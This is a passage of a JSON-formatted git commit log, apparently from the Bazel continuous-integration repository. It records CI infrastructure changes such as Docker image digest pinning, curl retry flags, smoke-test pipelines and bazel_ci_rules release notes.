"650ddb1498338717a347335f12fcf0ddc14f2d2b", "tree": "52bb9bbdf0ba8256c9c3f77eafbd5123c1e5d717", "parents": [ "a13babe83b44451a5c34c0e011bc148caed5589b" ], "author": { "name": "Yun Peng", "email": "pcloudy@google.com", "time": "Thu Aug 20 12:29:37 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Aug 20 12:29:37 2026 +0200" }, "message": "Remove docker image pre-pulling from startup script (#2806)\n\nPre-pulling 20 Docker images in parallel during startup takes ~2 minutes\n(~80% of total VM boot/startup time) and causes layer lock contention on\ncontainerd. Furthermore, several pulled images do not support arm64 or\nfail to resolve. Removing this step significantly speeds up agent\nreadiness." }, { "commit": "a13babe83b44451a5c34c0e011bc148caed5589b", "tree": "98e6ac0f776142cc182856afd021212b25eab693", "parents": [ "775c9e54c8665544db3966d4a8de9df48ec622a8" ], "author": { "name": "Yun Peng", "email": "pcloudy@google.com", "time": "Thu Aug 20 12:02:27 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Aug 20 12:02:27 2026 +0200" }, "message": "Remove legacy and broken platforms (#2804)\n\nBased results from\nhttps://buildkite.com/bazel-testing/ci-smoke-test/builds/2#_ and removed\nplatforms that have reached EOL" }, { "commit": "775c9e54c8665544db3966d4a8de9df48ec622a8", "tree": "701c995da8ad7562cd0704785e71c9e1c6167123", "parents": [ "c8344e03785cbc64e79be62de462e4f428b9f83b" ], "author": { "name": "Yun Peng", "email": "pcloudy@google.com", "time": "Thu Aug 20 11:06:17 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Aug 20 11:06:17 2026 +0200" }, "message": "Support dynamic CI script ref resolution in bazel-testing org (#2797)\n\nThis PR enables `bazelci.py` to dynamically resolve the Git ref (commit\nSHA or branch) for CI scripts when running in the `bazel-testing`\nBuildkite organization for a pipeline configured with the CI repo.\n\n### Motivation\nWhen testing changes to CI scripts in `bazel-testing`, jobs previously\ndownloaded scripts from the hardcoded `testing` branch. This required\ncoordinating pushes to `testing` and caused collisions when multiple\ncontributors tested changes simultaneously.\n\n### Changes\n1. **`get_ci_script_ref()` and `GITHUB_REF` in `buildkite/bazelci.py`**:\n- In production orgs (`bazel`, `bazel-trusted`), always returns\n`\"master\"`.\n - In `bazel-testing`:\n- If `$BUILDKITE_REPO` matches the official\n`bazelbuild/continuous-integration` repo URLs, dynamically resolves to\nthe build\u0027s exact commit SHA (`$BUILDKITE_COMMIT`) or branch\n(`$BUILDKITE_BRANCH`).\n- For builds on all other repositories (e.g. `bazelbuild/bazel`),\ndefaults to `\"testing\"`.\n2. **Updated Script Download URLs**:\n- Updated `SCRIPT_URL`, `METRICS_SCRIPT_URL`,\n`AGGREGATE_INCOMPATIBLE_TEST_RESULT_URL`, and `EMERGENCY_FILE_URL` in\n`bazelci.py` to format using `GITHUB_REF`.\n- Updated `bcr_presubmit.py` and `bcr_compatibility.py` to use\n`bazelci.GITHUB_REF`.\n3. **Unit Tests in `buildkite/bazelci_test.py`**:\n- Added `GetCiScriptRefTest` test suite covering production behavior,\nofficial CI repo commit/branch resolution, and safe fallback for\nexternal and fork repositories." }, { "commit": "c8344e03785cbc64e79be62de462e4f428b9f83b", "tree": "2e37d689688519bddf9c6a76b82b1a60ad794d9a", "parents": [ "08b4b93dcf7b6f77740845208d0d94a91e57dccb" ], "author": { "name": "Yun Peng", "email": "pcloudy@google.com", "time": "Thu Aug 20 10:50:37 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Aug 20 08:50:37 2026 +0000" }, "message": "Run bazelci_test.py unit tests in continuous-integration pipeline (#2798)\n\nThis PR adds steps to run `bazelci_test.py` unit tests on Ubuntu,\nDarwin, and Windows agents in `pipelines/continuous-integration.yml`." }, { "commit": "08b4b93dcf7b6f77740845208d0d94a91e57dccb", "tree": "23096a5b9c1359e31e5a9c86d4e082eb8b9b9806", "parents": [ "e01de2299656e6aabea1e118c9997a0a80356a0d" ], "author": { "name": "Yun Peng", "email": "pcloudy@google.com", "time": "Thu Aug 20 10:14:09 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Aug 20 10:14:09 2026 +0200" }, "message": "Add smoke test workspace and pipeline for testing Bazel CI changes (#2796)\n\nThis PR adds a minimal, self-contained smoke test workspace and a\ncorresponding Buildkite pipeline in the `bazel-testing` org to enable\ntesting Bazel CI script changes across all supported platforms without\ncolliding on a shared branch.\n\n### Changes\n1. **Smoke Test Workspace** (`smoke_test/`):\n- `smoke_test/MODULE.bazel`: Bzlmod configuration with `rules_cc`\ndependency.\n- `smoke_test/BUILD.bazel`: Defines a minimal `:hello` binary and\n`:hello_test` test target.\n- `smoke_test/hello.cc` \u0026 `smoke_test/hello_test.cc`: C++ binary and\ntest sources.\n- `smoke_test/smoke_test.yml`: Task matrix covering all 27 supported\nplatforms.\n2. **Terraform Pipeline**\n(`buildkite/terraform/bazel-testing/pipelines_misc.tf`):\n- Added `buildkite_pipeline.smoke-test` which runs `project_pipeline\n--file_config\u003dsmoke_test/smoke_test.yml`.\n- Configured with `filter_condition \u003d \"build.pull_request.labels\nincludes \\\"CI:run\\\" || build.branch !~ /.+:.+/\"`.\n3. **`.gitignore`**:\n- Added `/smoke_test/bazel-*` to ignore Bazel symlinks in `smoke_test/`." }, { "commit": "e01de2299656e6aabea1e118c9997a0a80356a0d", "tree": "8615bdee3d657e931be606fec78fe8ea559f9aed", "parents": [ "ab9d57afa4bef2ec0032fdaa80a1298eb92f04d6" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Wed Aug 19 17:18:48 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Aug 19 21:18:48 2026 +0000" }, "message": "Remove docker socket mount in bazel-testing (#2801)" }, { "commit": "ab9d57afa4bef2ec0032fdaa80a1298eb92f04d6", "tree": "2d08f44de28db60bac829f5f13165b28f7a23bd6", "parents": [ "ad06c0591ae445d0a1f258e84ba712e5c3bfc050" ], "author": { "name": "Xùdōng Yáng", "email": "wyverald@gmail.com", "time": "Wed Aug 19 17:15:47 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Aug 19 17:15:47 2026 -0400" }, "message": "Update buildtools pipeline to point to new location (#2800)\n\nWork towards https://github.com/bazel-contrib/buildtools/issues/1489" }, { "commit": "ad06c0591ae445d0a1f258e84ba712e5c3bfc050", "tree": "e0a8addc85d6fc6d27c8f9f880dc255bc675ebff", "parents": [ "ea78def8279558e83de81d192360bffb845343d5" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Wed Aug 19 15:04:03 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Aug 19 15:04:03 2026 -0400" }, "message": "Try updating image hashes, again again (#2792)\n\n* Use freshly-built images (coincide with the rules-2.1.1 tag)\n* Similar change in bazel-testing for bazel postsubmit seems OK:\nhttps://buildkite.com/bazel-testing/bazel-bazel/builds/9928" }, { "commit": "ea78def8279558e83de81d192360bffb845343d5", "tree": "809fd4c234f2e93a53441505ab16b4f44ce604ee", "parents": [ "276ca2f0d45ce2a6505b08cd3e55002f7ce217f9" ], "author": { "name": "Chi Wang", "email": "chiwang@google.com", "time": "Fri Aug 14 16:20:23 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Fri Aug 14 10:20:23 2026 -0400" }, "message": "Release bazel_ci_rules 2.1.1 (#2790)\n\n# Release Notes: `bazel_ci_rules` v2.1.1 🚀\n`bazel_ci_rules` v2.1.1 is a patch release improving container manifest\nresolution compatibility.\n\n## 🌟 Key Highlights\n* **Broader Docker \u0026 OCI Manifest Content-Type Support**: Added\n`application/vnd.oci.image.index.v1+json` to accepted manifest HTTP\nheaders when resolving container digests. This resolves manifest\nretrieval failures for multi-arch image indexes and images hosted on GCP\nArtifact Registry / Container Registry (such as\n`gcr.io/bazel-public/ubuntu2404`).\n\n---\n## 🛠 Quick Start \u0026 Usage\n### Bzlmod (Bazel 8+)\n```bazel\nbazel_dep(name \u003d \"bazel_ci_rules\", version \u003d \"2.1.1\")\nrbe \u003d use_extension(\"@bazel_ci_rules//:rbe_config.bzl\", \"rbe_config_extension\")\nrbe.config(name \u003d \"rbe_ubuntu\", preset \u003d \"ubuntu\")\nuse_repo(rbe, \"rbe_ubuntu\")\n```\n### Legacy WORKSPACE\n```python\nload(\"@bazel_tools//tools/build_defs/repo:http.bzl\", \"http_archive\")\nhttp_archive(\n name \u003d \"bazel_ci_rules\",\n strip_prefix \u003d \"continuous-integration-rules-2.1.1\",\n url \u003d \"https://github.com/bazelbuild/continuous-integration/releases/download/rules-2.1.1/bazel_ci_rules-2.1.1.tar.gz\",\n)\nload(\"@bazel_ci_rules//:rbe_config.bzl\", \"rbe_config\")\nrbe_config(name \u003d \"rbe_ubuntu\", preset \u003d \"ubuntu\")\n```" }, { "commit": "276ca2f0d45ce2a6505b08cd3e55002f7ce217f9", "tree": "e3f833128392be8f51b1faa236353641f40c0fea", "parents": [ "5c103f20b8f3611090cd12b88c489bc4eb667692" ], "author": { "name": "Yun Peng", "email": "pcloudy@google.com", "time": "Thu Aug 13 11:30:58 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Aug 13 09:30:58 2026 +0000" }, "message": "Avoid pinning docker image hash in bazel-testing org (#2784)\n\nIn the `bazel-testing` Buildkite org, newly built test images are pushed\nto `gcr.io/bazel-public/testing/` without updating the pinned production\nhashes in `IMAGE_HASHES`.\n\nThis change ensures that jobs running in `bazel-testing` resolve Docker\nimage tags dynamically from the testing registry prefix rather than\nrequiring a pinned SHA256 digest." }, { "commit": "5c103f20b8f3611090cd12b88c489bc4eb667692", "tree": "d9d161d2663a5abc2bc82412707588c44ffb9213", "parents": [ "c75348cd9e3c30aeb12c58565dbff2266b4c29db" ], "author": { "name": "Yun Peng", "email": "pcloudy@google.com", "time": "Thu Aug 13 11:26:27 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Aug 13 09:26:27 2026 +0000" }, "message": "Add retry and resilience flags to curl across CI scripts (#2789)\n\n### Summary of Changes\n\nmacOS runner jobs (and other high-concurrency jobs) were hitting `curl:\n(56) Recv failure: Connection reset by peer` when downloading\n`bazelci.py` and other CI scripts from `raw.githubusercontent.com`\nduring presubmit bursts (see e.g.\nhttps://buildkite.com/bazel/google-bazel-presubmit/builds/107235#019ffa4b-8415-4f2b-82ee-44ea81ad81c4).\n\nThis adds `-fsSL --retry 5 --retry-delay 2 --retry-max-time 60\n--retry-connrefused --connect-timeout 10` via a shared `CURL_FLAGS`\nconstant and `curl_download_command()` helper in `bazelci.py` across all\nCI download sites.\n\nThese flags are supported across all CI runner platforms (including\nolder platforms like Rocky Linux 8 and Ubuntu 20.04)." }, { "commit": "c75348cd9e3c30aeb12c58565dbff2266b4c29db", "tree": "d4f6fa99bafcfa3d9a2c5ab064fc70b3b762112a", "parents": [ "c81042930e0eb9a11dc518b3da0797f9a60ab84e" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Wed Aug 12 18:02:32 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Aug 12 18:02:32 2026 -0400" }, "message": "Revert \"Try updating image digests again\" (#2786)\n\nReverts bazelbuild/continuous-integration#2781\n\nMaybe causing more CI issues:\nhttps://buildkite.com/bazel/google-bazel-presubmit/builds/107220#019ff7c8-b8c5-47d2-b418-2be090b8adf7\n\n`OSError: [Errno 8] Exec format error: \u0027/tmp/tmpsgtjeye3/bazelci-agent\u0027`" }, { "commit": "c81042930e0eb9a11dc518b3da0797f9a60ab84e", "tree": "26b1b6b3a018cac055407855039b18d82482f7e0", "parents": [ "8b0cc1baa274f7e575cdf1e2c3103879ad26027b" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Wed Aug 12 15:22:21 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Aug 12 15:22:21 2026 -0400" }, "message": "Try updating image digests again (#2781)\n\nThe images dict is quite bloated now and would benefit from a refactor\nin the near future, but this is still a step in the right direction\ntowards safer deployments." }, { "commit": "8b0cc1baa274f7e575cdf1e2c3103879ad26027b", "tree": "d4f6fa99bafcfa3d9a2c5ab064fc70b3b762112a", "parents": [ "829224cf5986866060e3628b6b19e160bae72588" ], "author": { "name": "Yun Peng", "email": "pcloudy@google.com", "time": "Wed Aug 12 14:36:01 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Aug 12 14:36:01 2026 +0200" }, "message": "Fix Linux VM image creation and handle gcloud SQLite concurrency collisions (#2769)\n\n### Summary of Changes\n\n1. **`buildkite/create_images.py`**:\n- Use machine type `c4a-standard-8` for the `bk-testing-docker-arm64`\nimage builder VM. Local SSDs (`-lssd`) are ephemeral, not captured in\ncustom GCE images, and caused capacity stockouts\n(`ZONE_RESOURCE_POOL_EXHAUSTED_WITH_DETAILS`) in `us-central1`.\n\n2. **`buildkite/gcloud.py`**:\n- Add automatic retry for transient `gcloud crashed (OperationalError)`\n/ SQLite schema migration collisions when multiple threads invoke\n`gcloud` concurrently.\n- Example failure:\nhttps://buildkite.com/bazel-trusted/create-linux-vm-image/builds/43#019ff552-6791-4b7a-95c4-2c7c882bcfd5" }, { "commit": "829224cf5986866060e3628b6b19e160bae72588", "tree": "420ccea84dd21e57f478083284b10338f08d40b7", "parents": [ "150ab17b2ab5d01933ce24888a584fae89a69500" ], "author": { "name": "Yun Peng", "email": "pcloudy@google.com", "time": "Wed Aug 12 10:50:22 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Aug 12 10:50:22 2026 +0200" }, "message": "Return a list of commands for fetch_ci_scripts_command (#2783)\n\n### Description\n\nPR #2777 introduced `;` as a command separator in\n`fetch_ci_scripts_command()` to prevent Bash from executing partially\ndownloaded scripts when `set -e` ignored `\u0026\u0026` errors.\n\nHowever, in Windows `cmd.exe` (used for Buildkite batch scripts on\nWindows runners), `;` is not a command separator—it is treated as\nargument whitespace/delimiter. This caused `cmd.exe` to run a single\ninvalid `curl` command (treating `curl` as a host: `curl: (6) Could not\nresolve host: curl`), leaving `bazelci.py` un-downloaded and failing\nsubsequent python executions on Windows with:\n```\npython.exe: can\u0027t open file \u0027C:\\b\\...\\bazelci.py\u0027: [Errno 2] No such file or directory\n```\n\n### Fix\n\n1. Changed `fetch_ci_scripts_command()` to return a list of individual\n`curl` commands instead of a single string with embedded shell\ndelimiters.\n2. Updated `create_step()` to automatically flatten any sublists in\n`commands`.\n\nThis ensures:\n- **On Linux/macOS:** Each `curl` command runs on its own line under\n`set -e`, aborting immediately on failure.\n- **On Windows:** Each `curl` command runs on its own line in the\ngenerated `.bat` file with `%ERRORLEVEL%` checks between commands." }, { "commit": "150ab17b2ab5d01933ce24888a584fae89a69500", "tree": "96905686cd09ed93bf112c259352fb1646c93246", "parents": [ "d5d174b33b6f83a679690493597256c957083189" ], "author": { "name": "Keith Smiley", "email": "keithbsmiley@gmail.com", "time": "Tue Aug 11 11:28:37 2026 -0700" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Tue Aug 11 20:28:37 2026 +0200" }, "message": "Fix exec\u0027ing half downloaded script (#2777)\n\nIf the first curl failed this kept going because of the `\u0026\u0026`:\n\n```\n$ which python3\npython3 -V\ncurl -q --noproxy \u0027*\u0027 -sS https://raw.githubusercontent.com/bazelbuild/continuous-integration/master/buildkite/bazelci.py?1786467898 -o bazelci.py \u0026\u0026 curl -q --noproxy \u0027*\u0027 -sS https://raw.githubusercontent.com/bazelbuild/continuous-integration/master/buildkite/collect_metrics.py?1786467898 -o collect_metrics.py\npython3 bazelci.py runner --task\u003dmacos_8.x\n/opt/homebrew/bin/python3\nPython 3.12.11\ncurl: (56) Recv failure: Connection reset by peer\n File \"/Users/buildkite/builds/bk-macos-arm64-fwlz/bazel/rules-apple-darwin/bazelci.py\", line 3117\n env \u003d [\"ANDROID_HOME\", \"ANDROID_NDK_HOME\", \"BUILDKITE_ARTIFACT_UPLOAD_\n ^\nSyntaxError: unterminated string literal (detected at line 3117)\n```\n\n\nhttps://buildkite.com/bazel/rules-apple-darwin/builds/11880/list?jid\u003d019ff1c8-d3fb-47d5-b1a2-5df8635ef63a\u0026tab\u003doutput" }, { "commit": "d5d174b33b6f83a679690493597256c957083189", "tree": "47a004802f0f3799dde0b25af3bb7940c0d76eac", "parents": [ "f232a0b07fa4a7a534a874525643dd65e7dbd7f7" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Tue Aug 11 13:39:23 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Tue Aug 11 13:39:23 2026 -0400" }, "message": "Revert \"Update images hashes to latest\" (#2778)\n\nReverts bazelbuild/continuous-integration#2776\n\nBreaking ubuntu builds\nhttps://buildkite.com/bazel/rules-cc/builds/5809#_" }, { "commit": "f232a0b07fa4a7a534a874525643dd65e7dbd7f7", "tree": "9268318e821f89b91c23c90a7e9bd3dcb81f0f52", "parents": [ "a882d312afc19d07990bc8b5733c47d7a94c34d3" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Tue Aug 11 13:10:00 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Tue Aug 11 13:10:00 2026 -0400" }, "message": "Update images hashes to latest (#2776)" }, { "commit": "a882d312afc19d07990bc8b5733c47d7a94c34d3", "tree": "47a004802f0f3799dde0b25af3bb7940c0d76eac", "parents": [ "dd31140f032eb2fb24777fb0af5c4527658dca4c" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Tue Aug 11 16:04:46 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Tue Aug 11 16:04:46 2026 +0200" }, "message": "Update image family (#2774)" }, { "commit": "dd31140f032eb2fb24777fb0af5c4527658dca4c", "tree": "177d4e792a9ae7e20be64a58f0c072de10199f1d", "parents": [ "11056232d528d33c7d9dfbce862a7ef971e94792" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Tue Aug 11 14:25:52 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Tue Aug 11 14:25:52 2026 +0200" }, "message": "Fetch Buildkite agent tokens from Secret Manager (#2772)\n\n...instead of decrypting files from GCS buckets.\nThis makes it easier to rotate any tokens.\n\nNote: There are still other tokens left (GitHub etc) that use the old\nmechanism. We should migrate them, too." }, { "commit": "11056232d528d33c7d9dfbce862a7ef971e94792", "tree": "a948e951426142830cbbf435df07c9daeae79db1", "parents": [ "5eb30e7838f7080945450a7f0340b77884c3a5c4" ], "author": { "name": "hvadehra", "email": "hvd@google.com", "time": "Fri Aug 07 13:58:41 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Fri Aug 07 11:58:41 2026 +0000" }, "message": "Fix macos build for java_tools-binaries.yml (#2768)\n\nUnset `ANDROID` env vars like was done in\nhttps://github.com/bazelbuild/bazel/commit/6c9b022cb367c0a0b179c7d6704238e596988ce7" }, { "commit": "5eb30e7838f7080945450a7f0340b77884c3a5c4", "tree": "e21393f5045f1b55c2ae2933c2f1e6f5da0107bc", "parents": [ "632c025ea65d5b446f9573b82e5f12ec50a916d5" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Wed Aug 05 15:31:13 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Aug 05 15:31:13 2026 -0400" }, "message": "All BazelCI platforms use explicit digests (#2763)" }, { "commit": "632c025ea65d5b446f9573b82e5f12ec50a916d5", "tree": "7633f7182eab080b16136a6f690b48e699386181", "parents": [ "03ac5c92f885acca076c0f4e3b4cf0cf79e867c4" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Wed Aug 05 14:33:14 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Aug 05 14:33:14 2026 -0400" }, "message": "Add more explicit docker image digests (#2761)\n\n* `rockylinux8-java11*`\n* `debian*`" }, { "commit": "03ac5c92f885acca076c0f4e3b4cf0cf79e867c4", "tree": "fd7a913a047b4a8dacb44642d2e448c6c7b8aef1", "parents": [ "4a3b6a391e8af8a04fdee91eb3ecb9aee6166069" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Wed Aug 05 10:50:38 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Aug 05 14:50:38 2026 +0000" }, "message": "Use explicit hash for rockylinux8 in bazelCI (#2755)" }, { "commit": "4a3b6a391e8af8a04fdee91eb3ecb9aee6166069", "tree": "3676d0d8a38d7b97c34ada37f08b10ac8da5a5ce", "parents": [ "716776038f7f66c9806af63c1f0fb47a1cd2eb31" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Tue Aug 04 19:17:04 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Tue Aug 04 19:17:04 2026 +0200" }, "message": "Accept more content types of Docker manifests (#2758)\n\nThe old code accepts only\napplication/vnd.docker.distribution.manifest.v2+json and\napplication/vnd.oci.image.manifest.v1+json, but GCP artifact registry\nreturns application/vnd.oci.image.index.v1+json for\ngcr.io/bazel-public/ubuntu2404\n\nShould fix issues such as\nhttps://buildkite.com/bazel/bazel-bazel-github-presubmit/builds/35379#019fcd81-ba85-4e4a-a516-6b889a3851bd" }, { "commit": "716776038f7f66c9806af63c1f0fb47a1cd2eb31", "tree": "3ce9c99d2892a7063af8c7f0d73579d8f2ba50c6", "parents": [ "0c2537e069a9708002ee2dfc1ca79d8110b96095" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Tue Aug 04 14:32:59 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Tue Aug 04 14:32:59 2026 +0200" }, "message": "Delete gitsync (#2757)\n\nThe only remaining project is Tulsi, which has been deprecated for over\nthree years." }, { "commit": "0c2537e069a9708002ee2dfc1ca79d8110b96095", "tree": "23639ea33025eeb493319d927d15ef7e5125c361", "parents": [ "74edb28fda9543d8b1f7b97e07b9f54fcda40ef4" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Mon Aug 03 14:21:43 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Mon Aug 03 18:21:43 2026 +0000" }, "message": "Use explicit image hash in bazel-testing (#2754)" }, { "commit": "74edb28fda9543d8b1f7b97e07b9f54fcda40ef4", "tree": "847de3382c345649d70f4b1b003ca8d005921b23", "parents": [ "1ecfc98b722a7fc66d024acf611659792f01bb7d" ], "author": { "name": "Connor", "email": "services+github@sallustfire.com", "time": "Mon Aug 03 12:20:37 2026 -0600" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Mon Aug 03 20:20:37 2026 +0200" }, "message": "docker: fail the image build when the containerd store is disabled (#2753)\n\nbuild.sh builds several images as multi-platform (amd64 + arm64) with\nbuildx --load, which only retains both platforms when Docker uses the\ncontainerd image store. On a classic-store machine, --load silently\nkeeps just the host-native platform, and push.sh then replaces the\nmulti-arch tag in gcr.io with a single-arch manifest.\n\nThis is what happened to gcr.io/bazel-public/ubuntu2404 after the\n2026-07-31 rebuild (#2748, #2750): the tag currently serves a plain\namd64 manifest with no manifest list, and every ubuntu2404_arm64 BCR\npresubmit job since then dies before bcr_presubmit.py runs.\n\nThe script already acknowledged the requirement with a comment and a\ndocker info printout, but nothing enforced it. This turns the printout\ninto a hard failure so an incomplete image set can\u0027t be built, and\ntherefore can\u0027t be pushed.\n\nThe broken tag itself still needs a rebuild + re-push from a\ncontainerd-store machine, but this prevents the next occurrence." }, { "commit": "1ecfc98b722a7fc66d024acf611659792f01bb7d", "tree": "3faf2bdb5aa89e526e14ea787b2bfeea46240025", "parents": [ "12d21500c43c778da5bd88ea254fc3f92132acba" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Fri Jul 31 20:41:56 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Fri Jul 31 18:41:56 2026 +0000" }, "message": "Stop printing sensitive env vars (#2752)\n\nThis is a temporary stopgap." }, { "commit": "12d21500c43c778da5bd88ea254fc3f92132acba", "tree": "595b4f343dd9b8d0c8435bbedbbd5532e027996c", "parents": [ "ad6e236b7918ca2acb1335563f6861689b4a5012" ], "author": { "name": "Chi Wang", "email": "chiwang@google.com", "time": "Fri Jul 31 20:49:06 2026 +0900" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Fri Jul 31 11:49:06 2026 +0000" }, "message": "Release bazel_ci_rules 2.1.0 (#2751)\n\n# Release Notes: `bazel_ci_rules` v2.1.0 🚀\n`bazel_ci_rules` v2.1.0 introduces **automatic dual execution mode\nsupport (`docker` vs `host`)** for dynamic RBE toolchain generation.\n\n## 🌟 Key Highlights\n* **Automatic Dual Execution Modes**: Dynamically detects the execution\nenvironment. By default (`RBE_CONFIG_CONTAINER` unset), it uses\nDocker-out-of-Docker (`--exec_mode\u003ddocker`). In containerized CI\npipelines where `RBE_CONFIG_CONTAINER` is exported, it automatically\nswitches to host mode (`--exec_mode\u003dhost`), compiling `rbe_configs_gen`\nnatively on the host via `go build` without requiring Docker daemon\naccess.\n* **Host Container Authority**: In `--exec_mode\u003dhost`, the target\ncontainer image string in `@rbe_ubuntu//config:platform` is\nauthoritatively determined by the `RBE_CONFIG_CONTAINER` environment\nvariable to prevent toolchain and ABI discrepancies.\n* **Zero Docker Socket Dependency in CI**: Eliminates\n`/var/run/docker.sock` volume mounting requirements in worker containers\nand CI pipelines.\n\n---\n## 🛠 Quick Start \u0026 Usage\n### Bzlmod (Bazel 8+)\n```bazel\nbazel_dep(name \u003d \"bazel_ci_rules\", version \u003d \"2.1.0\")\nrbe \u003d use_extension(\"@bazel_ci_rules//:rbe_config.bzl\", \"rbe_config_extension\")\nrbe.config(name \u003d \"rbe_ubuntu\", preset \u003d \"ubuntu\")\nuse_repo(rbe, \"rbe_ubuntu\")\n```\n### Legacy WORKSPACE\n```python\nload(\"@bazel_tools//tools/build_defs/repo:http.bzl\", \"http_archive\")\nhttp_archive(\n name \u003d \"bazel_ci_rules\",\n strip_prefix \u003d \"continuous-integration-rules-2.1.0\",\n url \u003d \"https://github.com/bazelbuild/continuous-integration/releases/download/rules-2.1.0/bazel_ci_rules-2.1.0.tar.gz\",\n)\nload(\"@bazel_ci_rules//:rbe_config.bzl\", \"rbe_config\")\nrbe_config(name \u003d \"rbe_ubuntu\", preset \u003d \"ubuntu\")\n```" }, { "commit": "ad6e236b7918ca2acb1335563f6861689b4a5012", "tree": "a95e62a9e30eecb87bd74706baa5727142e3b90c", "parents": [ "14a69e4a696a7f3ea50239d6e815d4f55e34dfd0" ], "author": { "name": "Chi Wang", "email": "chiwang@google.com", "time": "Fri Jul 31 20:37:56 2026 +0900" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Fri Jul 31 11:37:56 2026 +0000" }, "message": "Temporarily restore docker.io in ubuntu2404 image for backwards compa… (#2750)\n\n…tibility\n\nThis restores `docker.io` in buildkite/docker/ubuntu2404/Dockerfile so\nthat worker containers support both legacy docker mode\n(--exec_mode\u003ddocker) and the new host mode (--exec_mode\u003dhost) during the\nrollout of bazel_ci_rules 2.1.0." }, { "commit": "14a69e4a696a7f3ea50239d6e815d4f55e34dfd0", "tree": "509662055044a52d4d4fb38c37a726811903d1d4", "parents": [ "0ac8e24a1d3a58e0242fd59b70428f581f28d934" ], "author": { "name": "Chi Wang", "email": "chiwang@google.com", "time": "Fri Jul 31 20:36:09 2026 +0900" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Fri Jul 31 13:36:09 2026 +0200" }, "message": "Resolve container tags to immutable @sha256 digests via OCI API in ho… (#2749)\n\n…st mode\n\nWhen execution mode is \u0027host\u0027, container image tags (e.g. :latest) are\nresolved to immutable @sha256 digests by querying the container\nregistry\u0027s OCI V2 manifest API (HTTP header docker-content-digest). This\nprevents remote build failures on RBE execution servers that reject\nunpinned container image tags." }, { "commit": "0ac8e24a1d3a58e0242fd59b70428f581f28d934", "tree": "8cc5c46fcde82d29dd491a441794cfcca3ad0a00", "parents": [ "dba961a2a864b697e384bc56f2f8e2db698ad6c8" ], "author": { "name": "Chi Wang", "email": "chiwang@google.com", "time": "Fri Jul 31 16:17:27 2026 +0900" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Fri Jul 31 09:17:27 2026 +0200" }, "message": "Revert docker installation and add golang and RBE_CONFIG_CONTAINER in… (#2748)\n\n… ubuntu2404 image\n\nWith dual execution mode support (--exec_mode\u003dhost) added to\nrbe_config.bzl (#2747), Docker-in-Docker is no longer needed in CI\ncontainers for dynamic RBE toolchain generation.\n\nThis commit updates buildkite/docker/ubuntu2404/Dockerfile:\n- Reverts #2642 by removing `docker.io` from apt-get install.\n- Adds `golang` so that rbe_configs_gen can be compiled natively from\nsource in host mode.\n- Sets `ENV\nRBE_CONFIG_CONTAINER\u003d\"gcr.io/bazel-public/ubuntu2404:latest\"` so that\nrbe_config.bzl automatically activates host mode when running inside\nthis container." }, { "commit": "dba961a2a864b697e384bc56f2f8e2db698ad6c8", "tree": "7b2104b93c65516e3b231d5dc4e716752e4e6c2f", "parents": [ "a86aad73f39340053337979967c46d88c81d4d9b" ], "author": { "name": "Chi Wang", "email": "chiwang@google.com", "time": "Fri Jul 31 00:23:07 2026 +0900" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Jul 30 15:23:07 2026 +0000" }, "message": "Support dual execution modes in rbe_config.bzl with automatic host mode (#2747)\n\nThis change introduces automatic support for --exec_mode\u003dhost 